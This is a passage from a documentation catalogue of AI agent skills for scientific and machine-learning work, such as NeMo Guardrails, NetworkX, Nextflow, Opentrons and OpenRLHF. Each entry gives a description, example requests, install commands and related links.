research](/research-agent-skills/fields/artificial-intelligence) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/nemo-curator/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # nemo-evaluator-sdk — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/nemo-evaluator-sdk Evaluates LLMs across 100+ benchmarks from 18+ harnesses (MMLU, HumanEval, GSM8K, safety, VLM) with multi-backend execution. # `nemo-evaluator-sdk` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** Evaluation, NeMo, NVIDIA, Benchmarking, MMLU, HumanEval, Multi-Backend, Slurm, Docker, Reproducible, Enterprise ## When to use it Evaluates LLMs across 100+ benchmarks from 18+ harnesses (MMLU, HumanEval, GSM8K, safety, VLM) with multi-backend execution. Use when needing scalable evaluation on local Docker, Slurm HPC, or cloud platforms. NVIDIA's enterprise-grade platform with container-first architecture for reproducible benchmarking. ## Example requests Ask your agent in plain language, for example: * *"How do I run MMLU and GSM8K on my vLLM endpoint with nemo evaluator?"* * *"I need to benchmark llama-3.1-70b on mmlu, gpqa\_diamond and ifeval on our Slurm cluster. The job sits in PENDING forever and `nemo-evaluator-launcher status` shows nothing useful. Here's my slurm config: account=ml-eval, partition=gpu\_a100, nodes=2. How should I debug it and set up the deployment correctly?"* * *"We're comparing three finetuned checkpoints on the same set of academic, safety and vision-language benchmarks, all in reproducible containers on our HPC cluster, and want the results pushed into W\&B. What's the best way to set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill nemo-evaluator-sdk # GitHub CLI gh skill install KalarisLabs/research-agent-skills nemo-evaluator-sdk ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`evaluating-code-models`](/research-agent-skills/skills/evaluating-code-models) * [`evaluating-llms-harness`](/research-agent-skills/skills/evaluating-llms-harness) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/nemo-evaluator-sdk/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # nemo-guardrails — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/nemo-guardrails Adds runtime safety rails to LLM applications with NVIDIA NeMo Guardrails, configured through Colang 2.0 flows. # `nemo-guardrails` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** Safety Alignment, NeMo Guardrails, NVIDIA, Jailbreak Detection, Guardrails, Colang, Runtime Safety, Hallucination Detection, PII Filtering, Production ## When to use it Adds runtime safety rails to LLM applications with NVIDIA NeMo Guardrails, configured through Colang 2.0 flows. Covers jailbreak and prompt-injection detection, self-check input/output validation, retrieval-based fact-checking, hallucination detection, PII filtering via Presidio, toxicity detection via ActiveFence, and LlamaGuard integration. Use when adding programmable safety rules to a production LLM app, blocking jailbreaks or prompt injection, filtering PII from model inputs and outputs, verifying generated claims against retrieved sources, or tuning false positives and latency of guardrail checks. For standalone moderation only, use LlamaGuard or the OpenAI Moderation API instead. ## Example requests Ask your agent in plain language, for example: * *"How do I block jailbreaks in my chatbot with NeMo Guardrails?"* * *"I have a RAG app for clinical trial summaries in ./app using LangChain and GPT-4o. Users sometimes paste patient names, phone numbers and MRNs into the chat, and the model sometimes states trial results that aren't in the retrieved PDFs. I want programmable rails so PII is masked on input and output and unsupported claims get caught before the answer is shown. I'm getting `ValueError: Could not find a rail named 'mask sensitive data on input'` when loading my config. How do I set this up?"* * *"Our lab's LLM assistant is going to be deployed to students. I need a layer that sits between users and the model, lets me write rules in a declarative way for what topics it will refuse, checks answers for made-up facts against our document store, and adds under half a second of latency. Where do I start?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill nemo-guardrails # GitHub CLI gh skill install KalarisLabs/research-agent-skills nemo-guardrails ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`llamaguard`](/research-agent-skills/skills/llamaguard) * [`nemo-curator`](/research-agent-skills/skills/nemo-curator) * [`langsmith-observability`](/research-agent-skills/skills/langsmith-observability) * [`prompt-guard`](/research-agent-skills/skills/prompt-guard) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/nemo-guardrails/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # networkx — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/networkx Create, analyze, and visualize complex networks and graphs in Python with NetworkX. # `networkx` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** 3-clause BSD license · **Version:** 1.2 **Tags:** network analysis, graph theory, graphs, community detection, Python ## When to use it Create, analyze, and visualize complex networks and graphs in Python with NetworkX. Use when working with network/graph data structures, computing graph algorithms (shortest paths, centrality, clustering), detecting communities, generating synthetic networks (random, scale-free, small-world), reading/writing graph file formats, or drawing network topologies. Common applications include social, biological, transportation, and citation networks. ## Example requests Ask your agent in plain language, for example: * *"How do I get the top 10 nodes by betweenness in my graph?"* * *"I have an edge list in interactions.tsv (columns: protein\_a, protein\_b, score) from STRING for human PPI. I loaded it with nx.read\_edgelist and now get 'TypeError: Failed to convert edge data' on the score column. Fix this, then find the connected components, report the size of the largest one, and run Louvain community detection with a fixed seed."* * *"I'm modeling how a rumor spreads through a school. I want to simulate a few hundred students where most are in tight friend clusters but a few have friends across clusters, then see how many hops it takes on average for any two students to connect. How should I set this up in Python?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill networkx # GitHub CLI gh skill install KalarisLabs/research-agent-skills networkx ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`research-knowledge-graph`](/research-agent-skills/skills/research-knowledge-graph) * [`torch-geometric`](/research-agent-skills/skills/torch-geometric) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/networkx/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # neurokit2 — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/neurokit2 Use NeuroKit2 to build or audit reproducible research workflows for physiological time-series preprocessing, event/interval analysis, multimodal alignment… # `neurokit2` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** physiological signals, ECG, EEG, HRV, biosignal processing, neuroscience ## When to use it Use NeuroKit2 to build or audit reproducible research workflows for physiological time-series preprocessing, event/interval analysis, multimodal alignment, variability, and complexity. Trigger when code imports neurokit2 or needs its current APIs, schemas, and method-aware validation—not for diagnosis or device validation. ## Example requests Ask your agent in plain language, for example: * *"My EDA export has 'EDA' column and I want to split tonic and phasic and count SCRs. Which settings should I use?"* * *"I'm getting NaNs in my epochs from epochs\_create on events from events\_find, using events from my stim channel in subject03\_ecg.csv recorded at 1000 Hz. I set epochs\_start=-0.5, epochs\_end=2 and baseline\_correction=True. I also passed event onsets I'd computed in milliseconds. Why, and how do I fix it?"* * *"I have a 10-minute recording of ECG and a chest respiration belt from a stress task, and I want a heart rate variability and respiratory sinus arrhythmia analysis I can put in a paper. How should I set it up so it's defensible?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill neurokit2 # GitHub CLI gh skill install KalarisLabs/research-agent-skills neurokit2 ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/neurokit2/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # neuropixels-analysis — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/neuropixels-analysis Analyze Neuropixels extracellular recordings end-to-end with SpikeInterface. # `neuropixels-analysis` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** MIT · **Version:** 2.4 · **Includes scripts** **Tags:** Neuropixels, spike sorting, electrophysiology, SpikeInterface, neuroscience ## When to use it Analyze Neuropixels extracellular recordings end-to-end with SpikeInterface. Covers loading SpikeGLX/Open Ephys/NWB data, preprocessing, drift/motion correction, Kilosort4 (and CPU) spike sorting, quality metrics, and unit curation (threshold-based, model-based UnitRefine, and AI-assisted visual review). Use when working with Neuropixels 1.0/2.0 recordings, spike sorting, or extracellular electrophysiology analysis. ## Example requests Ask your agent in plain language, for example: * *"How do I get my Neuropixels 2.0 data sorted with Kilosort4 through SpikeInterface?"* * *"I recorded from mouse V1 with a Neuropixels 1.0 probe using SpikeGLX. The folder is session01\_g0/ with session01\_g0\_t0.imec0.ap.bin and the .meta file. I loaded it with si.read\_spikeglx but the traces look noisy and the sorted units look split across depth, with the probe drifting a lot over the 90 min recording. What should I do before re-running Kilosort4?"* * *"I have a sorted dataset with a few hundred units from a high-density silicon probe in mouse cortex. Many look like noise or multi-unit activity. How can I automatically decide which are good single neurons, and look at the borderline ones, without writing every rule myself?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill neuropixels-analysis # GitHub CLI gh skill install KalarisLabs/research-agent-skills neuropixels-analysis ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/neuropixels-analysis/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # nextflow — AI agent skill for life sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/nextflow Build, run, and debug Nextflow data pipelines and nf-core workflows end to end. # `nextflow` **Category:** [life-sciences](/research-agent-skills/skills#life-sciences) · **License:** Apache-2.0 · **Version:** 1.2 **Tags:** Nextflow, nf-core, bioinformatics pipelines, workflow management, genomics ## When to use it Build, run, and debug Nextflow data pipelines and nf-core workflows end to end. Use whenever the user mentions Nextflow, nf-core, .nf files, nextflow\.config, DSL2, processes/channels/operators, samplesheets, or wants to run a community pipeline (e.g. nf-core/rnaseq, nf-core/sarek), write or test a module/subworkflow with nf-test, configure executors/containers (Docker, Singularity/Apptainer, Conda, Wave), scale a workflow to HPC/SLURM or cloud (AWS Batch, Google Batch, Azure, Kubernetes), or debug a failed/-resume run. Make sure to use this skill for any reproducible scientific/bioinformatics workflow work even if the user does not say the word "Nextflow", and for authoring nf-core-compliant pipelines, modules, configs, and linting. ## Example requests Ask your agent in plain language, for example: * *"how do I resume a nextflow run that crashed halfway?"* * *"I'm running nf-core/rnaseq 3.14.0 on our SLURM cluster with Singularity for 24 human paired-end samples. My samplesheet.csv has columns sample,fastq\_1,fastq\_2,strandedness. The job dies with 'Process NFCORE\_RNASEQ:RNASEQ:STAR\_ALIGN terminated with an error exit status (137)'. How do I fix it and keep the finished steps?"* * *"I have a pile of tumor/normal exome FASTQs and a reference genome. I want a reproducible, portable analysis setup that can run on my laptop for testing and then scale out to AWS without changing the code, with each tool in its own container. Where do I start?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill nextflow # GitHub CLI gh skill install KalarisLabs/research-agent-skills nextflow ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `life-sciences` category with `/plugin install life-sciences@research-agent-skills`. ## Related * [`bulk-rnaseq`](/research-agent-skills/skills/bulk-rnaseq) * [`latchbio-integration`](/research-agent-skills/skills/latchbio-integration) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/nextflow/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # nnsight-remote-interpretability — AI agent skill for ml evaluation and safety Source: https://docs.kalarislabs.com/research-agent-skills/skills/nnsight-remote-interpretability Provides guidance for interpreting and manipulating neural network internals using nnsight with optional NDIF remote execution. # `nnsight-remote-interpretability` **Category:** [ml-evaluation-and-safety](/research-agent-skills/skills#ml-evaluation-and-safety) · **License:** MIT · **Version:** 1.0.0 **Tags:** nnsight, NDIF, Remote Execution, Mechanistic Interpretability, Model Internals ## When to use it Provides guidance for interpreting and manipulating neural network internals using nnsight with optional NDIF remote execution. Use when needing to run interpretability experiments on massive models (70B+) without local GPU resources, or when working with any PyTorch architecture. ## Example requests Ask your agent in plain language, for example: * *"How do I grab the layer 20 residual stream from Llama-3.1-70B when I don't have a GPU?"* * *"I'm running activation patching on Llama-3.1-8B for my IOI-style prompts in ioi\_patch.py. Locally it works, but when I set remote=True my loop over layers keeps timing out, and sometimes I get an error that my saved tensor is a Proxy object outside the with block. How do I fix it?"* * *"I want to see what a Mamba state space model represents internally at each block, and copy the hidden state from one prompt into another prompt's forward pass. I'd rather not rewrite the model in some interpretability library. What approach works?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill nnsight-remote-interpretability # GitHub CLI gh skill install KalarisLabs/research-agent-skills nnsight-remote-interpretability ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-evaluation-and-safety` category with `/plugin install ml-evaluation-and-safety@research-agent-skills`. ## Related * [`slime-rl-training`](/research-agent-skills/skills/slime-rl-training) * [`sparse-autoencoder-training`](/research-agent-skills/skills/sparse-autoencoder-training) * [`transformer-lens-interpretability`](/research-agent-skills/skills/transformer-lens-interpretability) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/nnsight-remote-interpretability/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # omero-integration — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/omero-integration Securely inspect and automate microscopy data workflows against OMERO.server with omero-py, BlitzGateway, OMERO CLI, tables, annotations, ROIs, rendering, and… # `omero-integration` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 1.4 · **Includes scripts** **Tags:** microscopy, image data management, OMERO, bioimaging ## When to use it Securely inspect and automate microscopy data workflows against OMERO.server with omero-py, BlitzGateway, OMERO CLI, tables, annotations, ROIs, rendering, and documented OMERO.web APIs. Use for scoped OMERO inventory, metadata export, import/export planning, or reviewed write workflows. ## Example requests Ask your agent in plain language, for example: * *"List the datasets in my OMERO project 4512 and tell me how many images each has."* * *"I need the key-value map annotations and ROI shapes for images 88101, 88102 and 88107 on omero.ourlab.edu (group 'Kessler\_Lab') exported to JSON for a figure legend. My script keeps failing with 'Ice.ConnectionRefusedException' when I use port 4064. The server is 5.6.x and I'm on Python 3.13."* * *"Our microscopy core stores a few hundred confocal stacks on a shared imaging server, and I want to move one finished screening plate's worth of images to a collaborator as OME-TIFFs without pulling in the rest of the group's unpublished data. How should I go about it?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill omero-integration # GitHub CLI gh skill install KalarisLabs/research-agent-skills omero-integration ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`labarchive-integration`](/research-agent-skills/skills/labarchive-integration) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/omero-integration/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # onekgpd — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/onekgpd Query the 1000 Genomes Project dataset (3,202 whole-genome-sequenced individuals, GRCh38) at the level of individual participants. # `onekgpd` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** 1000 Genomes, population genetics, genomic variants, human genomics ## When to use it Query the 1000 Genomes Project dataset (3,202 whole-genome-sequenced individuals, GRCh38) at the level of individual participants. Use when a question is about individuals or variants in the 1000 Genomes Project cohort: which individuals carry variants matching specific criteria in a gene or region, which individuals are homozygous-reference at a position, which variants exist in the dataset or carried by specified individuals in a gene or region, the relatedness between two specified individuals. Variants are returned with 1000 Genomes allele frequencies (AF), gnomAD v4.1 exome and genome AF, AlphaMissense score, and HGVSp annotations. ## Example requests Ask your agent in plain language, for example: * *"Who in 1000 Genomes is homozygous for rare missense variants in CFTR? Rare = gnomAD genome AF under 0.1%."* * *"kinship HG00096 NA21130"* * *"I'm following up a hit in BRCA1 for a paper. I have the region chr17:43044295-43125364 from an old UCSC hg19 browser session. I want to see which variants ClinVar calls pathogenic or likely pathogenic that are carried by HG00096, HG00097 and NA12878 in the 1000 Genomes high-coverage cohort, with their AlphaMissense scores."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill onekgpd # GitHub CLI gh skill install KalarisLabs/research-agent-skills onekgpd ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/onekgpd/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ontology-term-resolution — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/ontology-term-resolution Resolve free-text scientific labels to ontology term IDs and validate existing CURIEs against the EBI Ontology Lookup Service (OLS4). # `ontology-term-resolution` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** ontologies, CURIEs, OLS, metadata annotation, FAIR data ## When to use it Resolve free-text scientific labels to ontology term IDs and validate existing CURIEs against the EBI Ontology Lookup Service (OLS4). Also look up prefixes in Bioregistry, resolve compact identifiers via Identifiers.org, map lab shorthand with ZOOMA, and build Ontobee term pages. Use whenever an ontology identifier must be produced or checked - annotating tissue, cell type, disease, phenotype, assay, chemical, organism, sex, or developmental stage fields; preparing metadata for GEO, ENA, BioSamples, CELLxGENE, HCA, or ISA-Tab submission; auditing a metadata table of term IDs; checking whether a term is obsolete and what replaced it; or deciding HPO vs HP. Triggers include "ontology term", "ontology ID", "CURIE", "controlled vocabulary", "UBERON", "CL:", "MONDO", "HPO", "EFO", "ChEBI", "NCBITaxon", "GO term", "PATO", "Zooma", "Bioregistry", "Identifiers.org", "Ontobee", "annotate this tissue/cell type/disease", and any request to emit or verify an identifier shaped like PREFIX:0001234. ## Example requests Ask your agent in plain language, for example: * *"What's the UBERON ID for left ventricle?"* * *"I have samples\_metadata.tsv for a CELLxGENE submission with columns tissue\_ontology\_term\_id, cell\_type\_ontology\_term\_id and disease\_ontology\_term\_id, filled in by a postdoc who left. Some IDs look old. Can you check the whole table and tell me which ones will get rejected? One row has UBERON:0002108 labelled 'liver'."* * *"My bench notes say 'PBMC', 'WT' and 'ctrl' for the sample type, genotype and treatment columns of a GEO submission. I need proper controlled-vocabulary identifiers for these before I upload."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ontology-term-resolution # GitHub CLI gh skill install KalarisLabs/research-agent-skills ontology-term-resolution ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ontology-term-resolution/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # open-notebook — AI agent skill for literature review Source: https://docs.kalarislabs.com/research-agent-skills/skills/open-notebook Self-hosted, open-source alternative to Google NotebookLM for AI-powered research and document analysis. # `open-notebook` **Category:** [literature-review](/research-agent-skills/skills#literature-review) · **License:** MIT · **Version:** 1.3 · **Includes scripts** **Tags:** research notebooks, document analysis, NotebookLM alternative, knowledge management ## When to use it Self-hosted, open-source alternative to Google NotebookLM for AI-powered research and document analysis. Use when organizing research materials into notebooks, ingesting diverse content sources (PDFs, videos, audio, web pages, Office documents), generating AI-powered notes and summaries, creating multi-speaker podcasts from research, chatting with documents using context-aware AI, searching across materials with full-text and vector search, or running custom content transformations. Supports 16+ AI providers including OpenAI, Anthropic, Google, Ollama, Groq, and Mistral with complete data privacy through self-hosting. ## Example requests Ask your agent in plain language, for example: * *"How do I set up Open Notebook locally with Ollama so I can chat with my PDFs?"* * *"I have 40 PDFs from my glioblastoma review in \~/papers/gbm and a few YouTube talks. I'm running the self-hosted open-notebook container and POST /api/sources keeps returning an error after I created the notebook. Can you help me script ingesting everything into one notebook, then run a vector search for 'temozolomide resistance'?"* * *"I'd like to turn my collected papers and interview recordings on microplastics into a short two-host audio discussion I can listen to on my commute, and keep everything on our own lab server because of consent restrictions. What are my options?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill open-notebook # GitHub CLI gh skill install KalarisLabs/research-agent-skills open-notebook ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `literature-review` category with `/plugin install literature-review@research-agent-skills`. ## Related * [`exa-search`](/research-agent-skills/skills/exa-search) * [`liteparse`](/research-agent-skills/skills/liteparse) * [`paper-corpus-rag`](/research-agent-skills/skills/paper-corpus-rag) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/open-notebook/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # openpiv — AI agent skill for physical sciences Source: https://docs.kalarislabs.com/research-agent-skills/skills/openpiv Particle Image Velocimetry (PIV) analysis with OpenPIV. # `openpiv` **Category:** [physical-sciences](/research-agent-skills/skills#physical-sciences) · **License:** BSD-3-Clause · **Version:** 1.1 · **Includes scripts** **Tags:** particle image velocimetry, PIV, fluid dynamics, flow visualization, physics ## When to use it Particle Image Velocimetry (PIV) analysis with OpenPIV. Use when extracting velocity fields from PIV image pairs, analyzing fluid dynamics or flow visualization experiments, cross-correlating interrogation windows, validating and replacing spurious PIV vectors, or computing vorticity, strain rate, and turbulence statistics from measured velocity fields. ## Example requests Ask your agent in plain language, for example: * *"How do I get a velocity field out of two PIV frames?"* * *"I have two TIFFs from our water-tunnel run, cyl\_0001\_a.tif and cyl\_0001\_b.tif, dt = 0.5 ms, and the calibration is 12 px/mm. I used multi-pass in windef with settings.dt set, but my u,v are still around 4 – this looks like pixels, not mm/s. What's wrong, and how do I validate the vectors afterwards? I used a (-30, 30) limit."* * *"I've got a grid of 2D velocity vectors measured from seeded flow around a cylinder. I want to know where the flow is rotating and how much, and whether the field is turbulent. What should I compute and how should I be careful?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill openpiv # GitHub CLI gh skill install KalarisLabs/research-agent-skills openpiv ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `physical-sciences` category with `/plugin install physical-sciences@research-agent-skills`. ## Related * [Skills for physics and astronomy](/research-agent-skills/fields/physics) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/openpiv/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # openrlhf-training — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/openrlhf-training High-performance RLHF framework with Ray+vLLM acceleration. Use for PPO, GRPO, RLOO, DPO training of large models (7B-70B+). Built on Ray, vLLM, ZeRO-3. # `openrlhf-training` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Post-Training, OpenRLHF, RLHF, PPO, GRPO, RLOO, DPO, Ray, vLLM, Distributed Training, Large Models, ZeRO-3 ## When to use it High-performance RLHF framework with Ray+vLLM acceleration. Use for PPO, GRPO, RLOO, DPO training of large models (7B-70B+). Built on Ray, vLLM, ZeRO-3. 2× faster than DeepSpeedChat with distributed architecture and GPU resource sharing. ## Example requests Ask your agent in plain language, for example: * *"How do I run GRPO with OpenRLHF on 8 GPUs?"* * *"I'm running PPO on a Llama-3 8B SFT checkpoint (./ckpt/llama3-8b-sft) with a reward model at ./ckpt/rm-8b, on 2 nodes of 8×A100 80GB with a Ray cluster. Using the hybrid engine I get CUDA OOM during the actor update, and DeepSpeed also throws 'GPU index out of range'. How do I fix this?"* * *"I want to align a 70B model with a learned reward signal, with rollouts generated by a fast inference engine and the training spread over a multi-node GPU cluster managed by a distributed scheduler. Which approach and setup would you recommend, and what hardware would I need?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill openrlhf-training # GitHub CLI gh skill install KalarisLabs/research-agent-skills openrlhf-training ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`fine-tuning-with-trl`](/research-agent-skills/skills/fine-tuning-with-trl) * [`simpo-training`](/research-agent-skills/skills/simpo-training) * [`verl-rl-training`](/research-agent-skills/skills/verl-rl-training) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/openrlhf-training/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # opentrons-integration — AI agent skill for lab automation Source: https://docs.kalarislabs.com/research-agent-skills/skills/opentrons-integration Author, review, migrate, simulate, and troubleshoot official Opentrons Python Protocol API v2 protocols for Flex and OT-2 robots. # `opentrons-integration` **Category:** [lab-automation](/research-agent-skills/skills#lab-automation) · **License:** MIT · **Version:** 2.1 · **Includes scripts** **Tags:** Opentrons, liquid handling, lab robotics, lab automation, protocols ## When to use it Author, review, migrate, simulate, and troubleshoot official Opentrons Python Protocol API v2 protocols for Flex and OT-2 robots. Use for robot-specific liquid handling, deck and labware setup, pipettes, modules, runtime parameters, liquid classes, and Opentrons App analysis. Use pylabrobot instead when one workflow must support multiple robot vendors. ## Example requests Ask your agent in plain language, for example: * *"Can you write me an Opentrons Flex protocol to transfer 50 µL from a 96-well plate to another plate with a p1000 single channel?"* * *"My OT-2 protocol fails in the Opentrons App with 'apiLevel 2.29 not supported' after I added `requirements = {"robotType": "OT-2", "apiLevel": "2.29"}`. It's in ot2\_pcr\_prep.py and also calls protocol.load\_trash\_bin('A3'). How do I fix it?"* * *"I have a robot that will do a 1:2 serial dilution across a full 96-well plate with 8 channels, and I want the lab tech to be able to choose the number of dilution columns and the starting volume when they upload the protocol. Can you set that up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill opentrons-integration # GitHub CLI gh skill install KalarisLabs/research-agent-skills opentrons-integration ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `lab-automation` category with `/plugin install lab-automation@research-agent-skills`. ## Related * [`protocolsio-integration`](/research-agent-skills/skills/protocolsio-integration) * [`pylabrobot`](/research-agent-skills/skills/pylabrobot) * [Skills for biology and bioinformatics](/research-agent-skills/fields/biology) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/opentrons-integration/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # optimize-for-gpu — AI agent skill for data science and ml Source: https://docs.kalarislabs.com/research-agent-skills/skills/optimize-for-gpu GPU-accelerates scientific Python on NVIDIA hardware and verifies that the result is correct and faster. # `optimize-for-gpu` **Category:** [data-science-and-ml](/research-agent-skills/skills#data-science-and-ml) · **License:** MIT · **Version:** 1.4 **Tags:** GPU acceleration, CUDA, performance optimization, scientific Python ## When to use it GPU-accelerates scientific Python on NVIDIA hardware and verifies that the result is correct and faster. Use for CUDA/GPU optimization; CPU-bound NumPy, SciPy, pandas, scikit-learn, NetworkX, scikit-image, vector-search, image-processing, graph, simulation, or file-I/O workloads; CuPy, cuDF, cuML, 